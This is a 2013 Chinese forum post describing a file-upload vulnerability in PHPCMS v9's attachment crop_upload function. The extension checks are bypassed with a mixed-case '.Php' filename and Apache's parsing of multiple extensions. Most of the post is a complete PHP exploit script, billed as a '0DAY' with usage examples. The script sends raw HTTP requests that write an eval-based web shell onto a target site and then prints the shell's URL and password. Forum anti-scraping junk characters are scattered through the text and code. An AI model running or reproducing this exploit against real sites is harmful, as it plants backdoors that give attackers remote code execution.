找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2373|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
8 s% s% q; _: V0 p' J5 n0 s7 O4 z( Y7 }+ v% j$ s& O
简要描述:+ m. M# _6 o8 z" I
, b# W! V1 Y( \7 _! k1 s
phpcms v9 getshell (apache)) m  L  {0 }+ h% N9 o( Q$ Y8 o
详细说明:2 d6 R2 b5 j/ S/ N- k/ P

/ u2 b' d8 D0 ?6 g9 ~# m6 w6 G漏洞文件:phpcms\modules\attachment\attachments.php/ x' j. B( ^/ q# k+ P
: y% w  a9 a5 @" F/ ~$ q: \
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } 0 R' r2 @6 `. E3 B6 n) x/ ]& K
后缀检测:phpcms\modules\attachment\functions\global.func.php
( S* U# {: e  p8 y0 V% r- _/ W6 }1 k. G/ p4 P; D
( A1 J' h3 K9 u& \, t& f

- R( V: Y/ K' p+ b: |, Qfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  0 o) p9 i6 g# {0 I

: k- x/ D% I/ i关键函数:5 m. [# C2 U% w* m

2 o2 D* E( Z% v  H" R" i3 P 8 P5 i. Y4 \5 Y* \% H  |
- d) |$ _# N2 Z8 J) a2 ]# ~
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  - E3 \0 r" J4 G7 ^1 h

0 R* C/ W! w" T' y  Fileext函数是对文件后缀名的提取。5 H5 L$ n# [3 p$ i
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php& _+ i$ [. W1 I+ x
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。- X6 j  q0 F. w
我们回到public function crop_upload() 函数中( J  A  A/ I! @$ I0 L
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();5 k0 S4 k5 P$ a; t
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
" i+ A5 z, a& F' G4 H这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
, R; ~) P7 y( |- F+ U9 N  E经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
4 w/ d- \: b$ G  W最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。' `: |: [4 {2 V0 p# H: r
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。) ]* N; _7 u5 b0 D' Y4 P
漏洞证明:6 M7 Y# w! s2 U: `' v& J3 z
  c( I) s6 M% c& C/ i
exp:* G% T$ E7 O5 t1 J0 d% D
- q! ]0 M, ]; ^+ p: D; l6 Q
<?php
8 F8 B* k  e7 L+ J; d" Aerror_reporting(E_ERROR);
# e3 D  {9 G8 [3 I' [5 yset_time_limit(0);$ R2 p/ o( ?6 m% Y! }- h
$pass="ln";
7 g' Z' X. q# u. Xprint_r('
- d) h/ I( \9 Y+---------------------------------------------------------------------------+
& t" C# L2 z7 J) ?2 y0 t5 e7 K1 wPHPCms V9 GETSHELL 0DAY 8 i# o+ V8 m/ q4 D  S/ H; {! C
code by L.N.
) y0 q& D4 H3 F8 K' D( ^2 ~' G( i
* m- @! @! h# u% _apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
7 X' L- b7 c- G+---------------------------------------------------------------------------+8 s& I* f7 a" C3 g8 U* v
');$ {. D" _! {2 j0 B( Z1 O- e3 x* p
if ($argc < 2) {) A6 w. E4 M+ Y9 z( L& \! v# e
print_r('6 l# w8 H0 s0 q9 j+ b
+---------------------------------------------------------------------------+, ^2 S! ^) ?% {* k- y& n
Usage: php '.$argv[0].' url path5 j) `; Z3 |; ~( _
2 @' @" E5 e" m$ m1 x/ N+ G6 o+ J# ~) z
Example:; {; L5 Q& U5 P; l
1.php '.$argv[0].' lanu.sinaapp.com$ U! [7 _) j6 g' @! u* D6 E# o7 r
2.php '.$argv[0].' lanu.sinaapp.com /phpcms' y1 p% a, v. V# L* Z+ y
+---------------------------------------------------------------------------+2 e. t  R4 @- e: \( c- j* E' Y* b
');8 e" p4 u/ H1 ~" K# L
exit;" e! }1 g  u# o# }) A% h6 {
}
' M' b# m8 F! b3 A0 s7 N2 [/ G2 X4 i, C4 B' d/ u
$url = $argv[1];3 _" w* B6 w) g/ L' z) k! e1 {
$path = $argv[2];
2 t, t8 ]5 S& q$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';9 \( `% I3 r& ]% Z+ r9 ?2 \: C
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';! {; g2 p2 s7 I; m3 t% z/ y
if($ret=Create_dir($url,$path))3 e3 z" b) V5 K  ~' T1 ?" v% N6 k- o
{2 E4 D3 \4 g, x) {
//echo $ret;
9 u1 v  W/ W* ?2 k- J3 G  @$pattern = "|Server:[^,]+?|U";* T; S% T# Z, e% V& _
preg_match_all($pattern, $ret, $matches);
5 o1 R* H3 I4 d! `. N+ z" w0 nif($matches[0][0])
4 E  H9 k7 ]5 P( N% W{" ^) E% I; A& U# ?
if(strpos($matches[0][0],'Apache') == false)
4 W- y" W: V1 h, {; U5 I8 ^. I, X# ~# F{  O  x& j( `9 E, ~" H0 ]7 l
echo "\n亲!此网站不是apache的网站。\n";exit;
& s: I. A4 y( M1 R& n7 p8 N6 L7 J}$ h7 m2 h% x) D5 i5 a: Z% @
}
5 X5 g+ [- E1 r; m3 d2 W- {0 ^# v$ret = GetShell($url,$phpshell,$path,$file);
( a/ i5 {1 i! U, N( t* S, H$pattern = "|http:\/\/[^,]+?\.,?|U";* H7 T- _$ Y6 V. M7 I- i% V+ B
preg_match_all($pattern, $ret, $matches);9 s. b+ [7 ~* j- j9 b# t
if($matches[0][0])
, R0 _6 P& m# D. J) B{% q) e' {! y& F+ }6 r4 ]* T, Q& o+ d
echo "\n".'密码为: '.$pass."\n";
8 }$ y: V) X8 L0 }2 Necho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;9 s5 {& x3 C) M* P
}
' z! }! l2 v* X. Y3 C# ^. T! X) K/ helse
6 I: C# E9 t8 _" ]{
6 i! E( Z) F8 p. u- P7 U- O$pattern = "|\/uploadfile\/[^,]+?\.,?|U";, O8 t: n% ^0 t
preg_match_all($pattern, $ret, $matches);
' j$ G: _2 o# w; r: {( Z+ tif($matches[0][0])
# u) F* q5 p: {* q' e{
6 l9 C% W0 y6 U: ]( u. [0 q) R, n. e1 kecho "\n".'密码为: '.$pass."\n";5 r; U7 A! ^  w( A
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
& r( ~6 O; G. K- s}
" h5 ^7 |0 ~! a9 s& Nelse/ F# j+ S" [/ I) h+ w: Y+ a% p
{
3 u: T6 k9 f# l4 c7 Yecho "\r\n没得到!\n";exit;
: Q, D- N3 Y1 }5 {}0 `2 l# s8 M: N+ ?# s9 F: D
}% }2 k5 t4 p% i9 u+ [
}8 q% t  I2 u/ q# q: c" J

  ]2 W5 p/ P" }+ `# C1 H! z2 ufunction GetShell($url,$shell,$path,$js)
7 t; O; K+ a! E$ r{- Y+ y5 D7 Z/ }! H5 U' C
$content =$shell;) k& P3 Q  ^) E* X
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
8 K+ @: b! l. B% |, X& }$data .= "Host: ".$url."\r\n";0 ^% W2 L) A' V5 M" o1 M( j
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
: A, k# j5 W5 ^% Q4 @  @$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
4 o/ r7 {# }5 E. P$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";! b6 Q! _4 D( B
$data .= "Connection: close\r\n";6 w4 m9 k' s/ I7 N
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
& y! O. ^: g! j% [/ c( Z3 |- ?( ^$data .= $content."\r\n";3 J3 j9 w1 r- a9 z  R7 Q
$ock=fsockopen($url,80);
8 g% `' y: Q& L0 E# M' {! L; xif (!$ock)6 ^+ N1 P! {' ]7 }
{
4 s+ ?7 g. y3 v8 `echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
' Z: f& ^( x0 {$ }}) O7 B# v6 z# Y, G; P5 V6 F
else
" a/ ?2 I; Q0 Z+ g9 @* c{
+ f9 v1 v9 x" B8 y- X  {fwrite($ock,$data);
* n% W! s0 {) f9 z( Y8 Y* x$resp = '';: _5 ?6 T  b; M% Q7 \  T
while (!feof($ock))4 k! C( l! M" \. X3 O; N
{
+ k/ D3 c( ^+ ^- `) J* h) b6 @) u$resp.=fread($ock, 1024);
$ ~0 x5 ]# a3 X* k}& e" h8 o( I# [5 V
return $resp;* J* t+ i; {% P+ V+ a5 l
}' x3 S0 x; }$ [, l& [( e1 O# z! U
}5 ^7 t0 K5 r0 ?" b( i- i- P0 I

2 ^% I. h, D: i7 j+ @' y8 V$ Zfunction Create_dir($url,$path='')9 |5 s9 K4 i" ]4 f' U- E
{
+ q" V7 Q# S: t$content ='I love you';2 ?0 ], l; @' @; B
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";- k$ {+ T/ ~! G( z( K; I! {
$data .= "Host: ".$url."\r\n";
6 X4 X' ~2 j" |% Q+ {$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";/ C2 B1 ^0 \1 V' [2 r2 |) L
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
) d4 A* Y$ X. H( V  n( E$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
8 b5 j/ s- n( m- f$data .= "Connection: close\r\n";
1 E* I( ?; h! ~5 {4 P$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
% Z/ y" l; |. a4 E. p: X$data .= $content."\r\n";, P$ ]0 B1 @$ b7 \' Z
$ock=fsockopen($url,80);
, w5 \# C( e' }. D( jif (!$ock)
: A/ o, y$ `: {4 u{* [" \6 ]3 Z% a. Z. m9 @1 J, F
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
% T0 \# z1 \9 |3 l! N6 X}
1 [+ j  K1 M" `/ I, G$ X/ Sfwrite($ock,$data);
" S0 V" m" i- h; I  G$resp = '';' s% s) _, ^6 n/ e
while (!feof($ock))  \5 R, j$ `( U
{
8 F" E; F3 d- n$resp.=fread($ock, 1024);# c6 n' b0 p2 k
}' k' V" P, f( n) y0 m* Y
return $resp;
, ]3 i6 X1 I$ m& X9 @}4 `+ s0 I  F, ?' H8 D: C4 Q
?>
6 I8 a% y2 X: J" e. `3 T
$ x' v! {1 p; C) |修复方案:
$ [* \4 Y8 W- O1 p( U+ S. |, Q# r; A" P6 B7 c+ B
过滤过滤再过滤2 a: K- g" q8 M( j% `
+ h( q/ u3 R9 D9 z  p( [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表